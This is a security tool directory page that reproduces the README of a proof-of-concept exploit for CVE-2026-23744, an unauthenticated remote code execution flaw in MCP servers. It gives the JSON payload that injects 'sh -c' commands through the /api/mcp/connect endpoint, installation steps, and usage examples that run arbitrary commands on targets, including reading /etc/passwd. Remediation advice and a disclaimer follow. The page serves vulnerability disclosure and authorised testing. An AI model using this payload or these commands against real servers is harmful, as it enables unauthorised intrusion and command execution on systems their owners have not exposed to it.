Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-23744-POC — Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274) | Kitploit
Tools/GitHubGitHub/d3vn0mi/cve-2026-23744-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubd3vn0mi/cve-2026-23744-poc

CVE-2026-23744-POC

Python PoC for CVE-2026-23744, unauthenticated RCE in MCP servers via the /api/mcp/connect serverConfig command field (default port 6274)

View Repository
307 months agoNot yet reviewed
Share

CVE-2026-23744 — MCP Server Unauthenticated RCE

Proof-of-Concept exploit by d3vn0mi

Overview

CVE-2026-23744 is an unauthenticated Remote Code Execution (RCE) vulnerability in MCP-compatible servers exposed on port 6274. The /api/mcp/connect endpoint accepts a serverConfig object that allows callers to specify an arbitrary OS command and arguments — without any authentication or authorisation checks.

An attacker with network access to the service can execute arbitrary commands as the user running the MCP server.

DetailValue
CVE IDCVE-2026-23744
TypeUnauthenticated Remote Code Execution
EndpointPOST /api/mcp/connect
Port6274 (default)
SeverityCritical

Vulnerable Payload

{
  "serverConfig": {
    "command": "sh",
    "args": ["-c", "<ATTACKER_COMMAND>"],
    "env": {}
  },
  "serverId": "anything"
}

The server spawns the supplied command with the given args without sanitisation or access control.

Installation

git clone https://github.com/d3vn0mi/CVE-2026-23744-POC.git
cd CVE-2026-23744-POC
pip install -r requirements.txt

Usage

# Basic usage
python3 exploit.py -t <TARGET_IP> -c '<COMMAND>'

# Custom port
python3 exploit.py -t 192.168.1.10 -p 6274 -c 'id > /tmp/pwned.txt'

# Skip the reachability check
python3 exploit.py -t 10.0.0.5 -c 'whoami' --no-check

# Custom server ID
python3 exploit.py -t 127.0.0.1 -c 'cat /etc/passwd' -s my_server

Options

FlagDescription
-t, --targetTarget IP or hostname (required)
-c, --commandOS command to execute (required)
-p, --portTarget port (default: 6274)
-s, --server-idserverId value in the payload
--timeoutProbe timeout in seconds (default: 30)
--no-checkSkip initial reachability check

Remediation

  • Do not expose the MCP server to untrusted networks.
  • Apply vendor patches as soon as they are available.
  • Restrict access to the /api/mcp/connect endpoint via authentication and network-level controls.
  • Monitor for unexpected process spawning from the MCP server process.

Disclaimer

This tool is provided for authorised security testing and educational purposes only. Unauthorised access to computer systems is illegal. The author assumes no liability for misuse. Always obtain proper authorisation before testing.

License

This project is licensed under the MIT License.

Author

d3vn0mi — github.com/d3vn0mi

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    837
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    536
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    424
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    355
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    294
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    276

Explore all tools

Browse our collection of tools

View all tools →